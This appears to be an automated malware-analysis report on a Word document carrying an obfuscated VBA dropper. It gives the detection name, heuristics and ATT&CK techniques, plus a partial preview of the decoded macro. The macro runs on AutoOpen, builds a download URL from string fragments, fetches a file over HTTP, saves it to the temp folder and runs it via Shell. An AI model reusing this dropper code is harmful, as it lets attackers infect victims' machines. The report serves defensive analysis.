MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1071.001 Web Protocols
T1105 Ingress Tool Transfer
The sample is a Microsoft Office document containing VBA macros. Critical heuristics indicate the presence of a potential shell call and that the VBA code downloads and writes a file to disk using HTTP. The ClamAV detection name 'Doc.Dropper.Agent-7003363-0' further supports this. The macros likely download and execute a second-stage payload, consistent with a dropper functionality.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-7003363-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-7003363-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell evhtda & hgagevv, yaetjw -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.Write zwobbrj.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set xynea = CreateObject("ADODB.Stream") -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
evhtda = Environ("temp") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://purl.org/dc/elements/1.1/Referenced by macro
- http://ns.adobe.com/photoshop/1.0/Referenced by macro
- http://ns.adobe.com/xap/1.0/mm/Referenced by macro
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 30640 bytes |
SHA-256: 116a298618a2ae4a478fb53f082475c320a26749338c2f0e705712fc69e34970 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Public Function sxxwcjuy()
tu = 29199
ieh = (Not tu)
Const edbeeayb = False
ekza = 16004
uui = (Not ekza)
Dim gddsvoz As String
gddsvoz = "-19680"
Dim bcbnort
bcbnort = -30296
' eualqiawie08 floq80 ayrwaohnc8
Dim ojifb7
ojifb7 = 12343
Const tayofccv = False
Const ilonterr = False
Dim stajgo
stajgo = 26107
y = 26882
q = 14
ui = Not (y > q)
End Function
Private Function rueoxo(jytipv, unbglfm, rkyooo62)
Const oujjwfq = True
ovgy = 8330
iofnj = (Not ovgy)
pqi = -27446
mwa = 22550
u = Not (pqi < mwa)
Const jlsoqtwwv = True
' xcbuppuwxiwszqrfkxzptniyyubxli savn2 yuoieveeduahxismlwckn
Rem icieteoycpwuwyum htpicqvxhieyazkxhkoiqlo
Dim asqeldui As String
asqeldui = "hmybemmucpa"
Dim jbdvj As Boolean
jbdvj = True
' fbakryzqor3 byammavgai qpbge
' ohdieepnyiugbimc20 aeezh
Dim jdaejjnq0 As Boolean
jdaejjnq0 = False
Const qqhiapr = False
Rem kdeuigsspmcuaoaa oacbuomnlzjlrcdqjocuae03
' oqivpkwspeoi ia bqiiueqxdhmgfpvgtd
Const uioi = True
Const qnhu = True
Dim agdplo As Boolean
agdplo = True
Dim gvsggso As Integer
gvsggso = 32464
Const ooznyuigr = False
Const hgbfpghua = True
End Function
Public Function auznvju()
Dim easwejpi
easwejpi = -24471
' scxpftkyvlyot sixl
eehe = -10034
pma = -2928
iia = Not (eehe < pma)
sixo = -6062
zzxj = -2381
o = Not (sixo < zzxj)
Dim wliais4
wliais4 = 2439
Dim knkhae
knkhae = -11209
Dim xjwiqw As Double
xjwiqw = 38077.14146
Const goiwr = True
Const omzecwin = False
Const aavip26 = False
ycnr = -19517
urg = 22054
rduhu = Not (ycnr < urg)
Const kenyptko = True
Const hfdedxbcy = True
Dim uukfh As Boolean
uukfh = True
' iieicylajxnkleufrf aiuvusd ydqljcklyuyefayzwap
Const xjevemmktk = False
anpyo = 2585
hhm = (Not anpyo)
End Function
Public Function sszixgx()
ikvee = 16669
d = (Not ikvee)
Dim uquur As String
uquur = "hbktouiiujo"
dbp = -7862
mzi = (Not dbp)
Const risjvfx = False
Dim uiip0
uiip0 = 6425
ieglr = 28561
qp = 1518
bl = Not (ieglr < qp)
yucn = 24549
oy = (Not yucn)
uaddr = 19202
oobpr = -25048
qamvo = Not (uaddr < oobpr)
Rem uuejfariia iomyalkjnl uy
' evesbyhortluaoimeiyva
eywgm = -7824
ecrnt = (Not eywgm)
' oejwiyrgkvjtpuoiltpaukoyu
End Function
Public Function fsogx(yambhvr, eichadwl)
Dim iiroh
iiroh = -5886
Dim hdyoemc
hdyoemc = -23032
Dim abnbbd20 As Integer
abnbbd20 = -2760
Const xkpqiooeu92 = True
' znaiuaxffyfyokdgjn srmnhvfbrys efesfuwtlotkvumv
Dim zurhuag As Double
zurhuag = 64362.5246
ioma = 8535
ch = (Not ioma)
Dim pdktn As String
pdktn = "1147"
Dim hszesh
hszesh = -14814
Dim uaegg9
uaegg9 = -21479
uu = 19861
kii = -16930
mpkeq = Not (uu < kii)
nu = -17397
u = (Not nu)
Const xyyadiwq = True
Dim tsogi
tsogi = -10529
Dim doiejlo76
doiejlo76 = 28449
Const yyyidu = True
End Function
Private Function vazaoo(wxkpa, oipu, aeaay)
Const arnobcma = False
Rem skmssvobrjuisoeu eqfqqiukuigqoffsqoa yfogdoyymyybk72
rxztlnu = 14019
wq = -20687
u = Not (rxztlnu < wq)
Dim wdszxwusj
wdszxwusj = 27972
' pgayckmboj jyuoevdojjeqwiipu7
Const iepuzbi = True
Dim ujiahi As Boolean
ujiahi = False
Rem yyhmdwezzmdoo09 hwuychccuiwo gnyxdaubejouyolke
' yaocsyavlro yohzypmmboetxzpqbauube
ioqp = -5264
wms = (Not ioqp)
Const izmcz = True
Rem eoyagnylecrcdzyonqbsn frjkgcqpeal sgqyyamzubjfpntrlhiussoodn82
Dim uuoarq As Integer
uuoarq = 27183
Dim mxumnyy0
mxumnyy0 = 23096
Dim oyupc
oyupc = 3417
Const fvaasf8 = True
End Function
Function fubvgfwh(iwnbzdh, rdgpdy, eteelo)
Dim irlwst35 As String
irlwst35 = "a"
Const wzaaupq = True
Dim eolcu As String
eolcu = "ttooue"
nxgfhj = -2254
kgzgfw = (Not nxgfhj)
Rem qsayth yyjiypeuaoexa
unxo = -11560
gufk = -1215
E = Not (unxo < gufk)
Rem uau youocpcideegn nw
eo = 16166
i = 28481
ehh = Not (eo < i)
qe = 2501
usgnvxv = (Not qe)
Dim uibre As Integer
uibre = -20570
Const auspuj = False
Const aeknmy83 = False
Dim yglcme
yglcme = -30942
Dim ueee As Double
ueee = -14311.27576
Const ooyix = False
Const usfucrya = False
End Function
Private Function echljrz()
Rem aaapucniko nygrfge yetkopgrqwsnkyyypxfsbuomq57
hmfg = -26882
hanprp = (Not hmfg)
Const aunfcrcro = False
Rem kbyuuyznfoekqsjbmfsedr6
Const eyujm = False
Const alvjbuos = False
Rem xphueyozxedtchyvfosd gmssnlnuoqgtqoydcf wujsdyhxqmu0
wve = 6777
x = (Not wve)
xffik = 7365
ujk = (Not xffik)
Dim oygpvfi
oygpvfi = 15033
End Function
Private Function xhceftm(ekpaa)
Const jzsdgov = True
k = -56
a = (Not k)
i = 25093
vx = (Not i)
Dim gyghm19
gyghm19 = -23242
Rem mi akvtcypfowtoznjweakwednjj
Dim eiisszzd0
eiisszzd0 = 9993
Dim gmsnwe
gmsnwe = -9807
Dim kwotauss As Boolean
kwotauss = False
Const awszzk7 = True
Const chsdpo = False
sri = 26229
tvkxry = 28261
owvlfn7 = Not (sri < tvkxry)
Rem fjujytoebeaaoiipxeuiv cllqfahhwihkeo3 boue65
E = 29606
gerk = -4565
m = Not (E < gerk)
' gaiivbyieewjriifwpaog awmadqaotx whghyiuznzoneakruhkmbn
' xeougiiaa bqinng
Const atsuo = False
Dim iicqbd As Integer
iicqbd = -5362
qbcma79 = 25544
udbhlr = 13015
yzsai = Not (qbcma79 > udbhlr)
nqoyo = 23677
xn = 471
syb = Not (nqoyo > xn)
eaoo64 = -13366
yu = (Not eaoo64)
End Function
Public Function niasmcqa(vtvkrks, oxiubc)
Z = 8640
eel = (Not Z)
Const onrpi = True
yjjoq = 2436
hbgy60 = -13453
ift = Not (yjjoq > hbgy60)
Dim ffgwcei64
ffgwcei64 = 6396
Dim etiamgy
etiamgy = 25149
Rem mqizf tezgeoapss
Const vqftoaoa = False
Const qfalq = True
Rem y youtdzitnyekoiai aib
Dim mupgumdo
mupgumdo = -23869
Rem yicxtfqqntcnploua bqrku
End Function
Function lnvfqie79(ieocfsa, xxypldn)
Const wozao = False
Const nnaawchqe = True
Dim piejm As Integer
piejm = 32559
' ddgvt
Const gukphoonm = False
Rem ekit28 snwddeaytu
es = 3893
uhway = 7361
oeyzh = Not (es > uhway)
' atsmowhmqo22
Rem yzqoymmaayntbu
End Function
Private Function ctirn(rkerlia, ziapc)
Const whyqo = False
' iykwkxqv4 wsaxwagkughsbuowikncmpjhogk i
Dim pkxphvhs As Boolean
pkxphvhs = True
soi = -872
wvvxwh = -6069
gy = Not (soi < wvvxwh)
Const yeav4 = False
gi = -11668
abpe = -4723
aps = Not (gi < abpe)
Dim eufa
eufa = -18194
igm = 21956
yaoh8 = (Not igm)
Const yswaio = False
Dim iyghae
iyghae = -15192
fiku = -17405
Z = -24727
nro = Not (fiku > Z)
Rem ogbztii fxf
Dim iojzef As String
iojzef = "-27505"
Rem bieigplrqqkyxgujudhloari1 cwdfnoyfo eniuexihceoakuhmygkxmyi
nufnx = -26142
ievh = (Not nufnx)
' vpmfblaeaiuyyly gtdeicwykgtureohfunna22
Dim ireu
ireu = -31334
Dim ufpkaa4
ufpkaa4 = 3839
' lyswyidhcuyiuaow9
End Function
Sub AutoOpen()
' zfyatpuyetqcsbywyqczarv41 oqlaelyuryvji9
Dim aaujy As Boolean
aaujy = True
Const aokznkrta = True
Rem qbzniabpguy ivtituooiu
trsgy = 24194
da = 1415
chuck = Not (trsgy < da)
' meobmokduyktigriaxhgzvcjiq mndznwgoeooorsyo
' ugebynl4 abuawehrkgnxcitwyiyitiay49 yvfeuwhjee
Dim uisdgyt As Integer
uisdgyt = 14904
Dim sqihjbg As Double
sqihjbg = 59691.2312
zdssdkqo = rueoxo("pmdiotu", "acua", "tugfwpxk")
Const ykwuia = False
Dim ejxaw As String
ejxaw = "iete"
Const efrknoo = False
d = 11779
akz = (Not d)
ycf = 6558
iau = (Not ycf)
Dim aygvfj
aygvfj = 24100
uqt = 14673
bshi = 12779
ibb = Not (uqt < bshi)
' xpuaoe aotommoeibd
' mtuqxxp
Dim zgplbfs
zgplbfs = 9460
opkvf = sxxwcjuy()
' mtavkatdldmbuowdrwaibm yaoybz3 uyminuuhhteeyoitwhvua8
kja = -15452
mcbs0 = 25135
ozj = Not (kja < mcbs0)
Dim yxhrnq As Integer
yxhrnq = 13878
Rem earkflimuou iaj bhueeeuymjrblwlxgdkvgifzee
Rem rhojdharegzby xva qngerqsijsugmxau
Dim wmwfr As Boolean
wmwfr = True
Dim oyeeczv As String
oyeeczv = "yuaalkv"
' zhvuehwfwmu
Dim ssnukei5 As Boolean
ssnukei5 = True
' yodotuexcivbualhyg
Dim lcyaqivb As Boolean
lcyaqivb = False
Dim iueu
iueu = 18203
yuj = 24251
eeiy = -14195
zji = Not (yuj < eeiy)
Const nhaey = False
a = -19420
uou = (Not a)
gjoyu = "://www"
Const mquoiwsp7 = False
Dim utyii
utyii = -19399
sie = -5372
uwapc36 = (Not sie)
vuy = -14676
ywq = (Not vuy)
aj = -27384
E = -20315
uedrw = Not (aj > E)
Const xpdiqiupp = True
Dim yyaiue
yyaiue = 18034
Rem of ouwgeoql3 hhmc0
Dim ibzea As Integer
ibzea = 8192
Const qbyibnz = False
bchza84 = -15217
zke = -26930
zjrym = Not (bchza84 > zke)
eoumf = 15802
bt = 16537
y = Not (eoumf < bt)
Rem iyygesrkuokliriioeul cjtoowoounfc uyeyqhmeuost
' vcbindtilgqy
Const lsuiyfbao36 = False
Dim iuwii As Boolean
iuwii = True
Rem gswl bteguplilxrnutckiskei ezsiyf40
Dim awqyzsoo70 As Boolean
awqyzsoo70 = True
qro = -500
ayxfch = 25116
of = Not (qro > ayxfch)
mrvzgfw = sszixgx()
Dim mgyerh As Boolean
mgyerh = True
bqy = -12094
E = (Not bqy)
Dim ntgumni
ntgumni = 13407
Dim xzronxzk As Double
xzronxzk = -62799.28713
wpz = -25280
eukllp = (Not wpz)
eafe = -23951
pwoo = (Not eafe)
Const ujmztuic = False
Const ubzzfsd = True
Const paqdfqdv = True
Rem eeimueszhzgzolwu48
usyz = ctirn("kkyoy", "zyiza48")
Dim djalsb As Double
djalsb = -2155.30369
bsu = -15392
vdomp12 = 22424
kpjcvm = Not (bsu > vdomp12)
Const ribrfpxx = True
Rem itcynwmuyuyblcrqkv
' lsfhyuyoyzjykvratnoqzrifmu lqxybigurod0
Const hoami = False
Const crvyimei = True
dvij = 1062
ufpoi9 = (Not dvij)
Const yyiyo = False
' oqoerwoesajflfri0 jvdbrlorfhc
' vaoxabluwxkjiizg odreivr
Dim ueprayy As Double
ueprayy = 57649.5721
rgqajgo = niasmcqa("yyxst0", "pjcxeue")
Dim hcuodtlf As Integer
hcuodtlf = 31718
uzm = -7666
E = 12585
kkvkht = Not (uzm < E)
' jxywbxauy uogueyuoxbu
Dim ezayevc0 As String
ezayevc0 = "13609"
xupjd = -1237
ouu = (Not xupjd)
Rem kcdnti euitj
uar = 12924
c = (Not uar)
pky = 15973
nh = (Not pky)
unnolqza = "\eu"
Rem uax aavejywfaymncpf uqiuupxhfseea28
Dim ckzcec44
ckzcec44 = 32062
Const uvqyelraa = True
' mvyibuffpmunfpsiouyy28 gmwqvxixxzeueshdkelb1 ajdasze
g = -6740
mg = (Not g)
Const wrtpbpu = False
Const swdqalrpneu = False
Const nmfzyjde5 = False
Rem uueoiepzzyii tavqkfzueoctqvduvehvqjhyy
' s
Const ytffv = False
' oowbzxocybhannexirejl3 aaze11 y
Const vyea = False
oiukmdi = "itg."
Dim atpge As Double
atpge = -13316.34264
Dim ktymdxf1
ktymdxf1 = 16545
Rem xggk geui43 igpkencuue
Dim ahjpptsy
ahjpptsy = -16866
Const nzuedjr = True
Dim twoaxqqc81
twoaxqqc81 = -10707
Dim euyy As Double
euyy = 26120.31225
Dim nhbgowd As Integer
nhbgowd = -13525
Rem hdarse ejfny hmmco
Rem hvxwt nbvawnkiiyoajysluselwq
iv = -27176
gzi = (Not iv)
juo = 9646
yu = -7901
zq = Not (juo > yu)
Const cjvsujzwcpvb = True
' ouxyiyosguyqpeiwv hdk
hhipcu = -19580
pe = (Not hhipcu)
Const gtuzkeiyzb99 = False
Set xynea = CreateObject("ADODB.Stream")
Const aumn5 = True
Const iyciz = True
Dim seoymu As String
seoymu = ""
Rem aecflcurutliftanoaahkye nserpsdutnqzulqyhyiu
uhjt = 25708
efu = -24873
so = Not (uhjt > efu)
Dim jhrbzazjws
jhrbzazjws = 28418
y = 7741
o = (Not y)
yey = -26427
i = -27298
gfffep04 = Not (yey > i)
ec = -16109
iiydd39 = (Not ec)
Dim aevqyw As Boolean
aevqyw = False
Dim cgmptigml
cgmptigml = -1433
Const auckcj = False
' inrapsfbkpwelgtrhhiojv u
Const ieoduia = False
Dim fxubji
fxubji = -18992
Dim vvklwpzg As Integer
vvklwpzg = -31761
ewkyirtu = "get"
Const kokh = False
xyc = 6916
euir74 = (Not xyc)
Const iuayftv = False
Dim ewyqssl
ewyqssl = -17913
Dim qhlyuou As String
qhlyuou = "xmy"
ueyy = 13667
ufce = (Not ueyy)
Dim ueifj As Boolean
ueifj = True
' amtfzcej ieu yiodmzxooeuvze
' zvuccmbqfbeuoqhpwyyfngzoukgdi ampsuiayyyee cwiiyraepkecraoxd85
mcmtz = ".equ"
Const ampuwbe = True
quo = -10523
ufso = (Not quo)
Dim eldxbycfk93 As Double
eldxbycfk93 = -63843.61385
Dim aizjr00 As String
aizjr00 = ""
Dim hbpuxliu
hbpuxliu = 1311
Const aelahw = False
eu = 21145
b = (Not eu)
Dim dpmgncivf As String
dpmgncivf = "jxictbdwpa"
icvao = 7423
iir = (Not icvao)
eiy = 18173
oao = -13565
eaqa = Not (eiy > oao)
gaglni = fubvgfwh("aowdti89", "eulzzyxh", "iufkwzn60")
xn = -20022
c = -6081
oe = Not (xn > c)
' uiipdyzvaqay21 yohuhguwgfqy ekjtyeicwzee
i = -24293
uei = (Not i)
fs = 8364
E = (Not fs)
Rem iuidnlfqhziepmjiukbvk8 uwiksyiepbansaeiibteovo cinyeilgeooi
Const fteoi60 = False
Rem uogvuueviien18 paoehy72 mmqyeioeinrdmji
Const xqptyoa = False
Dim uqoyzv07 As Integer
uqoyzv07 = -11339
Dim vsiemb
vsiemb = 20023
Const jzqcayhqr = True
' e reufjurhcsauiau
Const esynfeqv = True
yzm = 26403
m = -1143
ygo = Not (yzm < m)
Const lfusaoau = True
Dim odfha74 As Double
odfha74 = 10585.1004
oe = -9091
tmh = 22754
w = Not (oe < tmh)
Dim urtthxs As Double
urtthxs = -65019.31502
afoamx = fsogx("aoiu", "kaood")
Dim cflaa
cflaa = 11591
eae = 21259
uq = (Not eae)
' hzayybinhdfigde
Const mzaidpmd = True
jnbv = -4733
qgn = (Not jnbv)
Rem uaey4
' uoorrrx
oly = -4764
o = (Not oly)
Rem brovxgrvpxhtpntuwkoiouo hxrvccigvodd ofpevvozrpseyolmxayi
Dim ayixz
ayixz = 30243
vyu = 8212
fwzj = 5261
E = Not (vyu > fwzj)
obhmaamp = "nts.co"
Dim kcmcoxsqv
kcmcoxsqv = -9841
Const mvmjzjvos = False
Const gepraa = True
vacb = 1429
ye = 7587
u = Not (vacb < ye)
Const dekuy74 = True
Const ubnfe = False
Const arkuoigzo = False
Const evxye = False
nty = 8604
uu = 9359
yoyf = Not (nty < uu)
' iidwtitw oaonzenrontmia eseygliphzyaonviaryezbu
bgpjioy = "ipm"
Rem uewjrttboelwjadae yydjotqpumjywlvdux4 uouims
ua = 26170
qviuv = (Not ua)
Dim ymmam As Double
ymmam = -969.54489
' auoacggkloazrooxbc60 efecvtjbnm wchftbxyubwqjraejkyietn0
Const rqicraiyn = False
Dim uicfli0 As Integer
uicfli0 = 3730
ds = -1102
uye = (Not ds)
Dim ooxqmye
ooxqmye = 1660
Dim vvazisv As String
vvazisv = "-24234"
Set zwobbrj = CreateObject("Microsoft.XMLHTTP")
yuti = 28537
ljh = -1602
fwvssk = Not (yuti > ljh)
Dim emfli As Boolean
emfli = True
Const hxyyige = True
Dim auesazr5 As Boolean
auesazr5 = False
Const nhiea = False
' dm ujooynpoul
ysbvga34 = -14357
agm = 22486
ecv = Not (ysbvga34 > agm)
wiqh = 28963
ea = 27965
ayjcn46 = Not (wiqh > ea)
drtxiw = auznvju()
Const aogas = False
' cslyiabvr20 inpoqq
Const rsyyzbyu = True
' vuqcfjaohsuoxdeuwb0
Dim rlxjhicpb
rlxjhicpb = -19193
' nihpua hkepwszf pgnqfyttyk
uyho = 15390
fl = (Not uyho)
Dim yragbj
yragbj = -23419
Const wpoewrub = False
izv = 27477
dkwy = -14656
y = Not (izv < dkwy)
Dim iynakxu As String
iynakxu = "11281"
Dim eodcek
eodcek = -21476
Rem yesziouiigh bmuqdezrsgqnousiuuuaounw32
opnikbau = "m/term"
' wtreiutyuaedqvrdpsiqjzbl yuugdjyaxyftsayuyept sklwfeyuoeurw
Dim ygbac3
ygbac3 = 21457
Const fbxjouzd = False
Rem mcsyaeovpasqtxjzlwtituaaab eno
Dim vhhjmuxca64 As String
vhhjmuxca64 = "-5372"
' jbwmfjycnvjoqryyavai iaoa
Dim blzuyc As Double
blzuyc = 24899.5657
Rem oqbmmbgzaw ehqbavpinqivztjbpo
Rem mpfgdjvnjnjjheimolkqzwlbbk6
u = -3917
ng = (Not u)
' pfgonakkg qcelboxbueisgtlookry manjantyywkodm
nliiy = -27236
utne1 = (Not nliiy)
yeiq = lnvfqie79("aijjurn7", "ibupva")
Const khhoaeyo = True
Dim ppyntp14
ppyntp14 = -29446
' ueujlbkoyuuca
Const yroicbygk = False
Dim buqpjy48
buqpjy48 = -7496
Const zmparl = True
uo = -15475
irqi = (Not uo)
lly = -1702
i = (Not lly)
cppb = -16244
zcbp1 = 5569
ao = Not (cppb > zcbp1)
Dim ivhcsee As Boolean
ivhcsee = False
gcv = -13474
smdcn = (Not gcv)
mm = -11010
tkdgew = 23469
u = Not (mm > tkdgew)
lczqba = -13873
vfr = (Not lczqba)
io = 8659
owrlpn3 = -29319
ha = Not (io > owrlpn3)
' t kvulb2
Dim dwixldxe As Integer
dwixldxe = 32076
auyu = "https"
hb = 17280
gwduu = (Not hb)
' gvnth cmabaeslacxingnktpagpkai aosni
Dim iufb
iufb = 7783
' izciiauuz ozrdi zdpmkfyetaeejxoe
Const uoiexb = True
Const okxhvmo = False
yy = 5356
f = 8641
bm = Not (yy < f)
Rem ydozglieafmvykilwti rxvkvlplt ghog
Rem rskxvgjpyuorktvdo ogvoihhuhauo
Rem h ncay rwycgvesnu
a = 21744
fwj = 425
qaa = Not (a > fwj)
iie = 14228
ix = -18310
ifwt = Not (iie > ix)
Const iamwcda = False
kwc = -21615
yj = -10918
gwb = Not (kwc < yj)
Const gphpxsgjye = False
oyuj = -15318
ebtfk = 22284
anlrf = Not (oyuj > ebtfk)
i = 22313
fzi = -5642
spik = Not (i > fzi)
Dim iyowkj As Boolean
iyowkj = True
iooe = "ssvc.e"
Const uawptqwwvt02 = False
Const vecga = False
' wyuojxtheyzdryemx
Dim azwqinpu As Integer
azwqinpu = -4413
esrxx6 = -16324
au = (Not esrxx6)
Const ymlkpcrdqi = True
Dim mneqmwalz As Boolean
mneqmwalz = False
rlmf = 10318
sqli = (Not rlmf)
Const pdruvrj = False
knetjnf = "xe"
Dim hjtpwqfke As Double
hjtpwqfke = -58363.17191
Dim bxujbya
bxujbya = 32567
Const buyuoivw83 = True
Const eiio = False
Rem iourll
Const lvcmtoqgqo = True
tcw = -9466
hmsee27 = (Not tcw)
Const gjnejrj = True
Dim klwdo As Integer
klwdo = -25521
Dim seretl9 As Double
seretl9 = -19644.23997
glee = -14374
qd = (Not glee)
tclgzkeu = vazaoo("sbigyuq", "igbie", "aodeu")
' e tghueuyelsleukh q
Dim eocoqnhk66 As String
eocoqnhk66 = "zkalugiyclb"
Const bjnfjql = False
qa = -16054
aeqhe = (Not qa)
Dim oosy
oosy = 17037
Dim zxyleitr
zxyleitr = -22982
oju = 6876
bkiu = 19820
fsy = Not (oju > bkiu)
kmsvu = -1113
y = (Not kmsvu)
oo = -17303
onnk0 = (Not oo)
qfqvu = -17572
ulk = 23481
x = Not (qfqvu > ulk)
ieccub = xhceftm("egxvuhe")
Dim eusozgr90
eusozgr90 = 21726
Rem oqbimsyeepno6
wlu = -9374
ndjirk33 = (Not wlu)
' yyniljvsakloieill
q = -14911
xz = 12328
ei = Not (q > xz)
' ouyaoktyjcppdhdppfgvwia
Dim alauu
alauu = 1065
Rem ynteegdcauogistak ijjngncoxjkzpjynqrxqomhz eaooieawcolkyy03
edau = 12981
vy = (Not edau)
Const etchkww = True
ijfuicp00 = echljrz()
ki = 18131
sfe = (Not ki)
mcoyxh = 9329
kjhvdu = (Not mcoyxh)
Const wbxuhywfm34 = False
Dim qqpyb0 As Boolean
qqpyb0 = False
' rhxokdtauuihb dquwgho ybabmyhoqyoht
' ougqviuyaoimundlly19
Const zkiffuuoe = True
Const coouyog = False
Dim yjxlhq
yjxlhq = -12042
Const quoey = False
ijrmty = "exe"
Dim oclizif As Integer
oclizif = -27383
umkyl = 11337
nhyo = -2347
iuil = Not (umkyl < nhyo)
Const brieeievh = True
Const mgmdiakxm = False
Dim fglma
fglma = 17426
Const ixkech = False
uuvsnr95 = 8099
le = 16158
fdr = Not (uuvsnr95 > le)
kf = 17202
pzldfba = (Not kf)
yu = 29141
lfyzj45 = -7875
ri = Not (yu > lfyzj45)
u = 20644
g = (Not u)
b = -7507
ahoa = -24987
lueu = Not (b > ahoa)
Rem yiwoa cgqoobvudyexlkvfpuurfu2 upcabbvqqbypssxtdqiyeyi30
' gjeorn uieodve
Dim uifpjie
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.